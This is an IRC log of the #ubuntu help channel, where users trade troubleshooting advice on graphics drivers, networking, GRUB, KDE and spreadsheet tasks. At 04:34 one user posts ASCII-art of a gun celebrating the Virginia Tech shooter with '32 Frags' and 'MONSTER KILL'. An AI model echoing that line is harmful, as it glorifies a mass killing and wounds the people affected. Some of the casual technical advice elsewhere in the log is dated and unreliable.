[04:15] <regress> yes, I would like to sum the second column, IF the first contains two strings
[04:16] <Kevin> wastrel, when I plug it in there is a dim orange light that comes on, its an old p3 board
[04:16] <Jordan_U> |Jason8|, What kind or GFX card do you have ( ATi, Nvidia, Intel ) ?
[04:16] <fiery_cleric> regress: but they all contain strings ... u mean two words?
[04:16] <|Jason8|> sudo dpkg-reconfigure -a -phigh
[04:16] <regress> fiery_cleric: well, two strings that I choose
[04:16] <wastrel> Kevin:  can you pastebin your /etc/network/interfaces file?
[04:16] <|Jason8|> Jordan_U, Not quite sure.  I was planning on putting my nvidia card in it.
[04:17] <regress> so, I could put in "Tit" and "LE" and it would add all of those columns that had those two words
[04:17] <Scooby> I keep getting these errors when trying startx "I810(0): No matching device section for instance, No video bios modes chosen for depth, screen(s) found, but none have a useable configuration, fatal error: no screens found"
[04:17] <regress> I can think of a way to do it in bash, but it's not foolproof and would take some time
[04:17] <Scooby> I've tried altering the config
[04:17] <fiery_cleric> regress: ok so u  want to conditionally sum the column if the cell to the left contains certain strings?
[04:18] <fiery_cleric> sum the cell
[04:18] <regress> yes, that's exactly it
[04:18] <Jordan_U> |Jason8|, I actually prefer intel cards as they make open source drivers, and they are fine if all you want is Beryl ( games may be slow though obviously )
[04:18] <regress> hmm, actually I guess a bash script might not be soo bad actually
[04:18] <wehttamb> is there a documentation for feisty
[04:19] <Jordan_U> wehttamb, help.ubuntu.com Any differences in versions will be mentioned on the individual pages
[04:19] <juan> can someone tell me if a nvidia 6200 is much better than a MX4000? It's for Beryl
[04:19] <ferret_0568> Yes, it is
[04:19] <|Jason8|> Jordan_U, hmmmmmmmm... Okay.  Running that last command you gave me.
[04:20] <ferret_0568> As long as the "MX4000" is a GeForce 4
[04:20] <fiery_cleric> regress: look at the sumif function
[04:20] <Jordan_U> |Jason8|, Is it asking you any questions?
[04:20] <Tarkus> hey, if i have a 6.06.1 (Dapper Drake) cd, can i install it and then update inside the OS to the next major release? (6.1 (Edgy))? or do i need to download 6.1 version and re-install?
[04:20] <alterlaszlo> Anunnaki: Try http://ubuntuforums.org/showthread.php?t=240150
[04:20] <regress> fiery_cleric: thanks!
[04:20] <|Jason8|> Jordan_U, just popped up withsome questions
[04:21] <regress> I'll check it out
[04:21] <Flannel> Tarkus: yeah, 6.10 will upgrade via the interblags
[04:21] <Flannel> !upgrade | Tarkus
[04:21] <ubotu> Tarkus: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[04:21] <pronco_> fglrxinfo
[04:21] <pronco_> Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[04:21] <pronco_> display: :0.0  screen: 0
[04:21] <pronco_> OpenGL vendor string: ATI Technologies Inc.
[04:21] <pronco_> OpenGL renderer string: ATI Mobility Radeon X1600 Generic
[04:21] <pronco_> OpenGL version string: 1.2 (2.0.6286 (8.33.6))
[04:21] <fiery_cleric> regress: but yeah it would probably be easiest with a perl script
[04:21] <pronco_> Xlib:  extension "XFree86-DRI" missing on display ":0.0". < that's my problem
[04:21] <Tarkus> Flannel, thanks man
[04:21] <Jordan_U> |Jason8|, The defaults should all be fine, but I would double check when it asks about your GFX card drivers
[04:21] <ferret_0568> !flooding | pronco
[04:21] <ubotu> pronco: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[04:22] <wraz79> can anybody help me? im tryint ot get myth tv running and it wont detect my card its a twinhan. but it shows up in the device manager
[04:22] <Shootfast> Hey guys, does anyone know how to save the output from Yaird to my initrd image from a live cd
[04:22] <fiery_cleric> regress: the sumif might not work coz it looks a the cell themselves not the cell to the left
[04:22] <wastrel> what's yaird
[04:22] <wastrel> also what's gizmo
[04:22] <megafauna> Hi all, how do I get firestarter to start when I boot?
[04:23] <ferret_0568> Any Intel C2D motherboard suggestions for Edgy_
[04:23] <wraz79> can i uninstall and reinstall the hardware?
[04:23] <regress> hmm, yeah, sounds like something I would usually do in vba on windows
[04:23] <ferret_0568> Edgy+?
[04:23] <Shootfast> yaird is Yet Another Inital Root Disk maker
[04:23] <regress> didn't expect it to be tooo easy :)
[04:23] <KevinOO> wastrel auto lo, iface lo inet loopback, auto eth0, iface eth0 inet static, address 192.168.1.59, netmask 255.255.255.0, gateway 192.168.1.1, auto eth1, iface eth1 inet dhcp, auto eth2 inetdhcp, auto ath0, iface ath0 inet dhcp, auto wlan0, iface wlan inet dhcp
[04:23] <wraz79> how do you uninstall hardware?
[04:23] <juan> ok, thanks! But shuold i still have to use the legacy drivers?
[04:23] <pronco_> Xlib:  extension "XFree86-DRI" missing on display ":0.0". < that's my problem
[04:23] <KevinOO> wastrel thats the best I can do
[04:23] <pronco_> Jordan_U, ??
[04:24] <pronco_> wastrel, ??
[04:24] <alephant> Hi all
[04:24] <cactusbin> is the one called chili555 here?
[04:24] <Adsims2001> he is in a different castle
[04:24] <Fathefner> hello what is a good wifi manger for ubuntu?
[04:24] <wastrel> KevinOO:  sure.  looks good :[
[04:24] <Jordan_U> pronco_, Did you add the "Section "Extensions"
[04:24] <Jordan_U>         Option      "Composite" "0"
[04:24] <Jordan_U> EndSection" to your xorg.conf ?
[04:24] <Newbuntu> Hi all.. total noob question here.  What's the max physical memory I can use for ubuntu server?  I have 4 gigs now on 32bit.. if I install 64 bit can I use more memory?  8?
[04:25] <cactusbin> father: wtf?
[04:25] <cactusbin> *fathef
[04:25] <KevinOO> wastrel I think my ehternet port is bad
[04:25] <Fathefner> r u tallking to me
[04:25] <cactusbin> quite
[04:25] <Fathefner> what
[04:25] <fiery_cleric> regress: yeah u cant use sumif... what u want to do is make a third column with an "if" function in it .... then sum the 3rd column... at this point i stop using an gnumeric thing a use a perl  script
[04:25] <pronco_> Jordan_U, yeah for composite "false"
[04:25] <cactusbin> ubuntu comes with a network manager
[04:25] <Anunnaki> alterlaszlo, sorry, it won't let me do private chat for some reason
[04:25] <wastrel> KevinOO:  everything looks ok, ... is there another machine on the LAN using that IP address ?
[04:26] <Shootfast> Newbuntu: 32bit can only see around 3.5gb of ram
[04:26] <Fathefner> well mine doesnt work real well
[04:26] <cactusbin> and no one else deved any popular ones because it was not needed
[04:26] <wastrel> (grasping at straws here... :)
[04:26] <Jordan_U> pronco_, Do you have fglrx installed?
[04:26] <cactusbin> im not sure of your question
[04:26] <Shootfast> Newbuntu: 64 bit can see alot more :P
[04:26] <pronco_> Jordan_U, Section "Extensions"
[04:26] <cactusbin> what is the problem
[04:26] <Anunnaki> anyway, i can't find any button that switches between monitors on my laptop
[04:26] <pronco_>         Option "Composite" "false"
[04:26] <pronco_> EndSection
[04:26] <pronco_> Jordan_U, yeah
[04:26] <Anunnaki> is there a way to do it within Ubuntu?
[04:26] <Fathefner> i am looking for another one
[04:26] <Jordan_U> pronco_, Did you restart X?
[04:26] <KevinOO> wastrel, nope just checked
[04:26] <Fathefner> with wifi g support
[04:26] <regress> haha
[04:26] <cactusbin> there is no other one to my knowledge
[04:26] <|Jason8|> Anunnaki, check for a "Fn" key.
[04:26] <regress> good idea, I'll make a bash script
[04:26] <wastrel> KevinOO:  if you boot from the livecd does the network card work?  how about if you set up eth0 for dhcp?
[04:26] <cactusbin> what is the problem with the one that comes with ubuntu
[04:26] <pronco_> Jordan_U, yeah
[04:27] <Newbuntu> shootfast:  thanks  !
[04:27] <pronco_> Jordan_U, od | grep fglrx
[04:27] <pronco_> fglrx                 534616  59
[04:27] <pronco_> agpgart                34888  2 fglrx,intel_agp
[04:27] <wastrel> KevinOO:  how about reloading the driver
[04:27] <cactusbin> is it having porblems with a wireless card?
[04:27] <Fathefner> yes
[04:27] <Adsims2001> wastrel: I'm on the Xubuntu 6.10 LiveCD with a wireless network right now.
[04:27] <cactusbin> wireless is a pain in the ass
[04:27] <Fathefner> its on the supported list but i doesnt go
[04:27] <cactusbin> im actually having problems with it right now
[04:27] <cactusbin> it.. doesn't go..
[04:27] <KevinOO> wastrel, Im not sure if  can use dhcp, my router is set up for static
[04:27] <cactusbin> well
[04:27] <wastrel> "xubuntu"
[04:27] <cactusbin> do this
[04:27] <wastrel> KevinOO:  oic, no dhcp server.  what a concept :] 
[04:28] <Fathefner> like when i have my card on windows it runs fast but on ubuntu it doesnt
[04:28] <KevinOO> wastrel, I do not know how to reload the driver
[04:28] <fiery_cleric> regress: do cat file | grep "string1" |grep "string2" | ... then some how sum the last number
[04:28] <Jordan_U> |Jason8|, Is dpkg-reconfigure still chugging away?
[04:28] <Anunnaki> |Jason8|, aha, thanks!
[04:28] <dimeotane> whats the new big feature with feisty?
[04:28] <fiery_cleric> regress: have u got a file u can post?
[04:28] <cactusbin> type sudo 'iwlist wlan0 scan' 'iwconfig wlan0' and post the output to the forum with your wireless card and specifics of your problem
[04:28] <regress> fiery_cleric: haha, that's exactly the solution I'm doing right now
[04:28] <wastrel> KevinOO:  lsmod, rmmod, modprobe  stuff like that
[04:28] <pronco_> Jordan_U, there's no solution I suppose
[04:28] <cactusbin> *'sudo iwlist...
[04:28] <wastrel> reboot would work too i suppose
[04:28] <wraz79> anybody know how to uninstall devices? my ddvb card i smissing some files and i want to reinstall it
[04:28] <sink_> hi
[04:28] <cactusbin> *'sudo iwconfig...
[04:28] <regress> I'm just >> to another csv file...since they'll all be organized I can sum them pretty quickly
[04:29] <Jordan_U> pronco_, Why do you say that?
[04:29] <fiery_cleric> regress: yeah
[04:29] <wehttamb> does the migration assistant in 7.04 copy the user settings if you are installing ubuntu to the whole drive or only if you are installing it next to windows
[04:29] <urbanp00r> question: im limiting my wifi network gateway to share my connection by about an hour each connection how would i do that?
[04:29] <Jordan_U> pronco_, How did you install fglrx?
[04:29] <pronco_> Jordan_U, because I'm getting screwed of this card
[04:29] <Flannel> wehttamb: #ubuntu+1 for Feisty support
[04:29] <pronco_> Jordan_U, using apt-get install
[04:30] <wehttamb> ok
[04:30] <linxeh> if I want to make a mirror of the ubuntu 6.06 LTS repositories, what do I need to get? just the dists directory, or do I need to mirror the pool too ?
[04:30] <sswitching> has anyone come accross problems accessing internet on a network via Windows ICS?
[04:30] <KevinOO> wastrel, I have no idea what arguments to use with modprobe
[04:30] <sswitching> if its an ICS issue, then obviously nothing can be done. was wondering if there were any incompatibilities or problems especially when renewing dhcp leases
[04:30] <Jordan_U> pronco_, could you pastebin your /etc/X11/xorg.conf?
[04:30] <cactusbin> any help appreciated
[04:30] <cactusbin> http://ubuntuforums.org/showthread.php?t=412027
[04:31] <pronco_> Jordan_U, Xorg is configured correctly and it still doesn't work .. my bad
[04:31] <KevinOO> wastrel, ehternet controller shows up with lspci
[04:31] <pronco_> Jordan_U, ok
[04:31] <pronco_> Jordan_U, hold on
[04:31] <wastrel> KevinOO:  yeah it won't help :] 
[04:31] <leal> hello
[04:31] <leal> how can i update my initrd in ubuntu?
[04:32] <wastrel> KevinOO:  ok so your card appears to be configured correctly but it's just not working
[04:32] <KevinOO> right
[04:32] <leal> i have updated to feisty (2.6.20) but i'm still using the old kernel, the new initrd is not working.
[04:32] <wastrel> KevinOO:  do you have a different network cable you could try?
[04:32] <mojo> QUESTION: For some reason my proftpd is now logging straight to /var/log/ instead of /var/log/proftpd/ and I don't know how to change it back.  Also, it looks like the logs were being rotated when it *was* segregating the files.  If I manage to get it set up to do that again, do I need to do something special for the log rotation to work?
[04:32] <Pelo> leal,  ask in #ubuntu+1
[04:32] <KevinOO> yes brb :)
[04:33] <fiery_cleric> !rtfm
[04:33] <ubotu> Words like noob, jfgi, stfu or rtfm are not welcome in this channel. Period.
[04:33] <bullgard4> Is there a Wiki for Ubuntu in English similar to wiki.ubuntuusers.de?
[04:34] <Jordan_U> bullgard4, wiki.ubuntu.com
[04:34] <bullgard4> Jordan_U: Thank you. I will give it a try.
[04:34] <Fathefner> ok i did
[04:34] <cho>     _,________
[04:34] <cho>    _T _==____()  R.I.P. Cho Seung-hui
[04:34] <cho>   /##(_)-'            32 Frags
[04:34] <cho>  /##/           MO-MO-MO-MO-MONSTER KILL !!
[04:34] <cho>  """
[04:35] <Fathefner> http://ubuntuforums.org/showthread.php?p=2471806&posted=1#post2471806
[04:35] <pronco_> Jordan_U, http://pastebin.ca/445781
[04:35] <jarrett> anyone know how to get rid of old kernels?
[04:35] <pronco_> Jordan_U, here's the link
[04:36] <elkbuntu> mojo, if nobody answers here, try reading the document the topic of #proftpd and if you are still not solved, ask in the channel
[04:36] <Pelo> jarrett,  look them up in synaptic and remove them
[04:37] <pronco_> Jordan_U, Why its Identifier  "Generic Video Card" < does it suppose to be ATI blah blah
[04:37] <freezey> whats going on with dam Xorg.conf its not using the resolutions i set insideof xorg.conf its using copletely different ones..? i have no idea why
[04:38] <jarrett> Pelo: the headers or the images?
[04:38] <Jordan_U> pronco_, That is just a label, it does not change how anything functional
[04:38] <Pelo> jarrett,  both I guess
[04:38] <Jordan_U> freezey, Do you have drivers that support the resolution that you are trying to get?
[04:38] <freezey> yeah i am using the i810 driver
[04:38] <pronco_> Jordan_U, ok did you see anything wrong in my xorg.conf
[04:39] <jburd> So, I get this particular error on Edgy:  http://paste.ubuntu-nl.org/16188/  I'm unable to install Aptana.
[04:39] <freezey> Jordan_U:  yeah i got the xserver-xorg-video-i810 driver installed... ubuntu installed it on its own
[04:39] <Scooby> Frenzy: I'm having the same problem
[04:39] <Pelo> jburb how are you installing this ?
[04:39] <Jordan_U> freezey, sudo apt-get install 915resolution
[04:40] <fiery_cleric> jburd: the program cant find the standard c library
[04:40] <Jordan_U> Scooby, sudo apt-get install 915resolution if you have an intel card also
[04:40] <jburd> fiery_cleric, yeah.  But I do have it installed..
[04:41] <pronco_> Jordan_U, ??
[04:41] <freezey> Jordan_U: cant find the package
[04:41] <Shootfast> can anyone help me generate a new initrd image for a non booting system?
[04:41] <cactusbin> please help, all help appreciated greatly!
[04:41] <cactusbin> http://ubuntuforums.org/showthread.php?t=412027#
[04:42] <kevinOoO> wastrel that did not work, I tried a usb wifi thingy I have, configured it, it does not work either
[04:42] <Scooby> Can't find teh package either
[04:42] <Jordan_U> freezey, You need to enable universe
[04:42] <freezey> already did
[04:42] <Jordan_U> Scooby, ^^
[04:42] <corevette> what files in synaptic do i need to let apache open my php files???
[04:42] <iamalex> hi guys im back
[04:42] <wastrel> kevinOoO:  i'm out of ideas.  :/
[04:42] <freezey> Jordan_U:  already did that
[04:42] <fiery_cleric> jburd: maybe strace -e trace=file ... so see where its trying to open the libraries from
[04:42] <Flannel> corevette: libapache2-mod-php5
[04:42] <carthik> support is offtopic here
[04:43] <iamalex> flannel, i think i goofed something up
[04:43] <kevinOoO> wastrel ok thanks
[04:43] <Jordan_U> !info 915resolution
[04:43] <ubotu> 915resolution: resolution modification tool for Intel graphic chipset. In component universe, is extra. Version 0.5.2-4ubuntu1 (edgy), package size 14 kB, installed size 128 kB (Only available for i386 amd64 kfreebsd-i386 kfreebsd-amd64)
[04:43] <iamalex> "DISK BOOT FAILURE, INSERT SYSTEM DISK AND PRESS ENTER"
[04:43] <freezey> Jordan_U:  ok its installed
[04:43] <Scooby> How do I enable it?
[04:43] <Jordan_U> freezey, restart X
[04:43] <Prez> on Edgy how do i figure out my direct rendering frame rate?  glxgears no longer tells me frame rate...
[04:43] <Jordan_U> !universe | Scooby
[04:43] <ubotu> Scooby: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:43] <Flannel> !grub | iamalex
[04:43] <ubotu> iamalex: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[04:43] <corevette> flannel: i have that lib...but here's my error: 75.35.108.164
[04:44] <Flannel> iamalex: read the first link, reinstall grub.
[04:44] <jburd> fiery_cleric, here:  http://paste.ubuntu-nl.org/16189/
[04:44] <kevinOoO> does anyone know why I cant connect to the internet by ethernet or wifi
[04:44] <Jordan_U> pronco_, Sorry, helping lots of peole at once. What output do you get when you run: sudo modprobe fglrx
[04:44] <Jordan_U> ?
[04:44] <iamalex> hmm i wonder why it didn't install grub in the first plave?
[04:45] <kevinOoO> I have properly configured both cards, something else is wrong
[04:45] <pronco_> Jordan_U, np i appreciate your help
[04:45] <pronco_> Jordan_U, hold on
[04:45] <Jordan_U> iamalex, It should have, do you use RAID?
[04:45] <iamalex> lvm
[04:45] <pronco_> Jordan_U, nothing
[04:45] <diabolix> out of curiosity, does feisty fawn automatically tell you how to install codecs?
[04:46] <iamalex> i just did a complete install, onto blank disks
[04:46] <iamalex> diabolix: yes
[04:46] <carthik> Kevin OoO - do you other computers connect now? Is your router/modem working ?
[04:46] <Jordan_U> iamalex, You need to use the alternate install CD then, and BTW if it's FaikRAID you may be in for some work
[04:46] <freezey> Jordan_U: thanks
[04:46] <iamalex> alt install cd was used
[04:46] <iamalex> that's how i did the lvm setup
[04:46] <diabolix> so, if my gf installs it, and clicks on an mp3 file, she won't have any trouble getting mp3s to work?
[04:46] <iamalex> it's just not installing grub i guess
[04:46] <Jordan_U> diabolix, Does better, it installs them for you
[04:47] <Flannel> diabolix: #ubuntu+1 will be able to answer your question better
[04:47] <fiery_cleric> jburd: try strace -e trace=file -f ....
[04:47] <iamalex> do i need to download the grub cd then?
[04:47] <kevinOoO> carthik, yes I have multiple computers connected to my router which is set up for static
[04:48] <Flannel> iamalex: no.  The alt CD cna do it.  Read that page
[04:48] <kevinOoO> carthik, i just installed ubuntu on this one tonight and I am having these problems
[04:48] <Flannel> iamalex: scroll down to the "Install CD" methods.
[04:48] <pronco_> Jordan_U, ??
[04:48] <Jordan_U> pronco_, That is what should happen, which is strange because by all means DRI should be working
[04:49] <iamalex> install cd methods where?
[04:49] <mojo> elkbuntu: thanks... i suppers on anyway so i'll look around later. peace
[04:49] <Flannel> !grub | iamalex
[04:49] <ubotu> iamalex: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[04:49] <Flannel> iamalex: first link
[04:50] <pronco_> Jordan_U, I'm using now Beryl + XGL while it doesn't work when it works when I startx without using Beryl . It might work with me using my root account
[04:50] <pronco_> Jordan_U, it sounds strange I know
[04:50] <pronco_> Jordan_U, but I'm getting screwed as well as u
[04:50] <doolph> hey
[04:50] <Jordan_U> pronco_, XGL is the spawn of satan
[04:50] <iamalex> XGL isn't that bad
[04:50] <doolph> anyone know what's the best client to connect msn messenger
[04:50] <jburd> fiery_cleric, http://paste.ubuntu-nl.org/16190/
[04:50] <iamalex> I've had very good luck with XGL
[04:51] <wastrel> doolph:  gaim has a msn plugin
[04:51] <SpiralDark> Hey, I installed ubuntu 6.10 edgy on my powerbook g4 (mac)... and well... it's not quite working right... so how do I delete it? (completely, including the boot loader)
[04:51] <Jordan_U> iamalex, it's a hack though
[04:51] <doolph> gaim is bored
[04:51] <corevette> doolph: pidgin is better
[04:51] <Pelo> doolph,  I beleive  there is a package called amsn
[04:51] <linos> can someone help me
[04:51] <Jordan_U> SpiralDark, You can Just re-install OSx with the OSx install CD
[04:51] <linos> I have ubuntu edgy eft 6.10
[04:51] <Pelo> linos,  we need to know yoru problem first
[04:51] <doolph> yes i am using amsn
[04:51] <linos> sure
[04:51] <doolph> but it sucks too
[04:52] <linos> I am trying to edit the session menu
[04:52] <Kannaida> Perhaps a good "starter" question... If I wanted to go from Windows to Ubuntu... blind... just, drop windows and install Ubuntu all at once... how much trouble am I asking for?
[04:52] <iamalex> +1 for pidgin/gaim
[04:52] <Pelo> doolph,  in my experience  instant msg apps suck period
[04:52] <SpiralDark> will that delete all my stuff?
[04:52] <linos> just before you login
[04:52] <iamalex> Kannaida: i did it, and never looked back
[04:52] <atselby> can anyone tell me why windows are automatically set to display in every workspace and how i can change that? i cant find a setting.
[04:52] <Pelo> linos,  which session menu are you talking about ?
[04:52] <Jordan_U> Kannaida, Depends on what hardware you have, if you have Hardware from companies that support Linux, almost none
[04:52] <Kannaida> iamalex: and... not too much trouble? I mean, I'm not stupid... just a little nervous
[04:53] <wastrel> Kannaida:  it depends what programs you use/need
[04:53] <Kannaida> Jordan_U: hmmm... good place to find out that info?
[04:53] <linos> when you click on Options and you want to change from lets say gnome desktop to KDE
[04:53] <wastrel> yes, also hardware
[04:53] <Kannaida> wastrel: nothing I can't live without (email mostly, resume sometimes, but that's what open office is for, right?)
[04:53] <Jordan_U> Kannaida, True, what do you need / want to do? For instance gaming can be a Pain
[04:54] <doolph> anyone know how to install that OSX dock ?
[04:54] <Pelo> atselby,   try right cliking in the bottom pannel and unchecking ,  keep in current workspace ( or whatever it is )
[04:54] <SpiralDark> doolph, which one?
[04:54] <wastrel> Kannaida:  quicken/quickbooks, photoshop, adobe publisher, flash composer, stuff like that
[04:54] <doolph> i dunno, i just saw that in youtube
[04:54] <Kannaida> Jordan_U: I'll keep an MS box around for gaming if need be... this desktop is older though, and if I understand right, older is okay for linux, no?
[04:54] <Pelo> linos,  you mean the login screen,  what do you want to edit on it ?
[04:54] <atselby> pelo: bottom panel
[04:54] <malder> this may seem like a really stupid question, but my admin account for my server is rejecting my password. Is there a good reason that this might be happening or should I be worried?
[04:54] <atselby> pelo;?
[04:54] <|Jason8|> What's the command to configure xserver?
[04:54] <doolph> i think its gnome-dock
[04:54] <wastrel> Kannaida:  it sounds like you could give it a good try.  have you checked out the livecd?
[04:54] <Kannaida> wastrel: My day to day is pretty simple to be honest, although I'd like to do some development work in a linux environment
[04:54] <Jordan_U> Kannaida, Yup, Linux will run on a 386 if you want it to :)
[04:55] <doolph> it change the toolbars and taskbar like MACOS
[04:55] <Pelo> atselby,  where you see those little bottuns where you reduce your apps to
[04:55] <linos> I have a radio button selection for igl.  I want to remove this radio button because I uninstalled beryl
[04:55] <Kannaida> wastrel: not yet, I heard the Live CD isn't all that great though, worth a try?
[04:55] <atselby> pelo: notify, the pager, or the panel?
[04:55] <Kannaida> Jordan_U: not quite *that* old ;)
[04:55] <atselby> pelo: sorry too many names for stuff eh'?
[04:55] <wastrel> Kannaida:  it's also the installer so no harm in test-driving.
[04:55] <wastrel> it's ram-hungry tho so not snappy
[04:56] <iamalex> umm... this looks like it's installing
[04:56] <iamalex> that wiki page said it would fail
[04:56] <Kannaida> my biggest fear is getting my wife to be comfortable with the convert (she uses it less than I do... so GMail and web surfing basically)
[04:56] <SpiralDark> dolph how about AWN?
[04:56] <SpiralDark> or I guess that's not the same
[04:56] <|Jason8|> What's the command to configure xserver?  sudo something-configure something something.
[04:56] <wastrel> Kannaida:  the new temp at work is on a ubuntu box
[04:56] <Jordan_U> Kannaida, I would personally also go with Feisty personally, it's only a few days from release and makes many things easier.
[04:56] <Kannaida> which is to say the same thing really ;)
[04:56] <doolph> awn?
[04:56] <wastrel> i haven't had a single support question from her
[04:56] <iamalex> sudo dpkg-reconfigure xserver-xorg
[04:56] <Kannaida> what is Feisty?  New ubuntu release?
[04:56] <|Jason8|> iamalex, thx
[04:57] <Pelo> atselby,   the bars at the top and bottom when you originaly install ubuntu are called gnome-pannels ,   the windows selectors are those button with the names of the opened apps in them that you click to bring that app on ontop,  right click one and uncheck the options to keep the app on wich ever the current workspace is
[04:57] <iamalex> np
[04:57] <doolph> yes Kannaida
[04:57] <SpiralDark> I think the best is in dream linux (what ever app they use http://www.dreamlinux.com.br/)
[04:57] <Hirvinen> Kannaida: If you understand that not everything is same as in the Windows world and are willing to learn the differences(The Ubuntu wiki has a lot of very good documentation to get you started), your hardware is supported(most stuff is, the most common exception being some wireless networking devices, I think) and you don't absolutely require some Windows-only program that Wine(or it's ...
[04:57] <Pelo> atselby,  assuming that that is your problem
[04:57] <Hirvinen> ... commercial counterparts) doesn't support (yet), you should be fine.
[04:57] <doolph> hey anyone know how to test my video card?
[04:57] <SpiralDark> you might find a link to the app name in there, or it might just be attached to the os
[04:57] <iamalex> test for what
[04:57] <doolph> i think its not working correctly
[04:57] <Pelo> linos,  I am sorry I donT' thnk I know how to do what you want to do
[04:57] <Jordan_U> |Jason8|, add -phigh if you don't want it to ask as many questions
[04:57] <sldkfj> jason, I think it's sudo dpkg-reconfigure -phigh xserver-xorg
[04:57] <HugoNascimento> Hi, I am using dapper and have just manually reconfigured my desktop painels and themes. Is there a way of backing up all this setup and restore it in another account or computer for another user?
[04:57] <linos> ok thanks
[04:57] <SpiralDark> What, so does reinstalling OSX (10.3.9) erease everything?
[04:57] <atselby> pelo: alright i get what you're saying but i knew i could do that. what i aws asking is for a setting because some apps whenver i open them later after ive set them to display only in the said workspace keep poping up to the top. sorry for the confusion.
[04:57] <lynxo> !kubuntu
[04:57] <ubotu> Kubuntu is Ubuntu with KDE, the K Desktop Environment, instead of Gnome. See http://kubuntu.org for more information - For support: #kubuntu - See also !KDE
[04:57] <Kannaida> thanks guys :)
[04:58] <Kannaida> (and gals)
[04:58] <fiery_cleric> jburd: not sure ... it seems like its finding the library... but for some reason is still giving that error.... u could try playing around with the LD_LIBRARY_PATH environment variable
[04:58] <Jordan_U> doolph, glxgears
[04:58] <Pelo> HugoNascimento,  I donT' think there is
[04:58] <lynxo> how do i ungrade from 5.10 to current?
[04:58] <Jordan_U> SpiralDark, Yes
[04:58] <lynxo> without a cd
[04:58] <Dr_willis> upgrading from 5.10 - egads...
[04:58] <Pelo> atselby,  did you play around with  devilspie by anychance ?
[04:58] <doolph>  glxgears
[04:58] <doolph> 1216 frames in 5.0 seconds = 243.156 FPS
[04:58] <Dr_willis> !upgrade
[04:58] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[04:59] <doolph> is that cool?
[04:59] <SpiralDark> Jordan_U, what should I do then? ( I just want to remove linux) is the OSX operating system act is one big ISO in installation?
[04:59] <HugoNascimento> I found a package in Ubuntu repositories for backing up th
[04:59] <linos> are there any ubuntu gurus on this chat line that can help me
[04:59] <lynxo> also i wanna install kubuntu whats the terminal command ne1 no?
[04:59] <crdlb> doolph, what video card and are you using compiz/beryl ?
[04:59] <atselby> pelo: no the reason im having problems is a rather complicated problem that was fixed by resetting my gconf and gnome2 folders in ~/
[04:59] <HugoNascimento> ...themes, but the restore script is broken
[04:59] <Pelo> linos,  if you need to do this because of beryl , consider asking in #beryl or #ubuntu-effects
[04:59] <doolph> ati 7000, i am using beryl
[04:59] <Hirvinen> Kannaida: From a non-administrating users perspective, there's little new to be learned. KDE feels maybe a bit more like Windows and Gnome a bit more like OS X.
[05:00] <linos> ok thanks
[05:00] <Jordan_U> SpiralDark, Do you want to keep your current OSx install?
[05:00] <kevinOoO> will feisty cover Xubuntu as well?
[05:00] <SpiralDark> Jordan_u, yes.
[05:00] <Hirvinen> (Concerning your wife or other users.)
[05:00] <bruenig> kevinOoO, yes, same day this time
[05:00] <Pelo> atselby,   try looking for an solution with gconf-editor then
[05:00] <iamalex> the steps on the ubuntu wiki for installing grub keep failing
[05:00] <lynxo> ne1?
[05:01] <atselby> pelo: okay. thanks. ive gotta run so ill try that. thanks alot.
[05:01] <iamalex> i think it may have borked the whole thing :\
[05:01] <lynxo> !kubuntu
[05:01] <ubotu> Kubuntu is Ubuntu with KDE, the K Desktop Environment, instead of Gnome. See http://kubuntu.org for more information - For support: #kubuntu - See also !KDE
[05:01] <kernel06> how you create users for vsftpd...would same system user can do it...
[05:01] <kevinOoO> bruenig, do you mean it comes out on the same day?
[05:01] <SpiralDark> but if I just found a way to remove the partition, you can't grow the mac partition
[05:01] <lynxo> !kde
[05:01] <ubotu> KDE (http://kde.org) is the K Desktop Environment. To install from Ubuntu: "sudo apt-get install kubuntu-desktop", or see http://help.ubuntu.com/community/InstallingKDE . Latest KDE veresion is 3.5.6 for Edgy and 3.5.5 for Dapper. See http://kubuntu.org for more information.
[05:01] <bruenig> kevinOoO, yes, in the past it was usually a few days to a week later
[05:01] <kevinOoO> cool I wonder if it will solve my internet problems
[05:01] <doolph> If i have ubuntu 7.04 beta, with full upgrades, I dont need to reinstall it again eh?
[05:01] <Kannaida> Hirvinen: my wife might like GNome better... she keeps saying "Get a Mac" (although I doubt if she knows why)
[05:02] <iamalex> which kernel would I want? linux-generic, linux-image-generic, or linux-image-2.6.20-12-generic
[05:02] <iamalex> the latter i assume?
[05:02] <bruenig> I don't understand the gnome is like mac thing. I guess because it has that bar on the top, but really that can be moved in whatever way
[05:02] <iamalex> bru: i agree
[05:02] <Dr_willis> bruenig,  because people always want to compare things.
[05:02] <Jordan_U> iamalex, linux-generic ( it will grab the rest )
[05:02] <iamalex> ok thanks
[05:02] <Dr_willis> bruenig,  i dont find it very mac-ish at all.
[05:03] <iamalex> it failed?
[05:03] <Kannaida> like I said, for my wife I want an easy transition, for me I'm looking for stability, security, and a chance to develop in a new (i.e. non microsoft) environ
[05:03] <bruenig> Dr_willis, I understand the desire to compare, but wrong comparison's seem futile
[05:03] <Pelo> I never realy liked working on mac but mind you that was a while back
[05:03] <fiery_cleric> but its less windows than kde
[05:03] <cactusbin> hello?
[05:03] <cactusbin> will anyone help me, eh?
[05:03] <iamalex> hi
[05:03] <lynxo> !kde
[05:03] <ubotu> KDE (http://kde.org) is the K Desktop Environment. To install from Ubuntu: "sudo apt-get install kubuntu-desktop", or see http://help.ubuntu.com/community/InstallingKDE . Latest KDE veresion is 3.5.6 for Edgy and 3.5.5 for Dapper. See http://kubuntu.org for more information.
[05:03] <Pelo> cactusbin,  what is the problem
[05:03] <bruenig> s/'//
[05:03] <Jordan_U> iamalex, What do you mean by failed?
[05:03] <frank227a> Any idea what would cause my internet connection to crawl?
[05:03] <aubade> Never understood the 'KDE is more like Windows' bit.
